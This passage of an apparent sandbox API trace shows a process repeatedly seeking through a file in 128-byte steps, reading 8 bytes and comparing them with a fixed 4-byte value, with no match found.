[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.741] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.741] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.742] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.742] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.742] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.743] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.743] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80
[0079.743] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.744] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.744] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.744] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.745] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.745] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180
[0079.745] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.746] SetFilePointer (in: hFile=0xa4, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.746] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.746] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.747] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.747] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.747] SetFilePointer (in: hFile=0xa4, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880
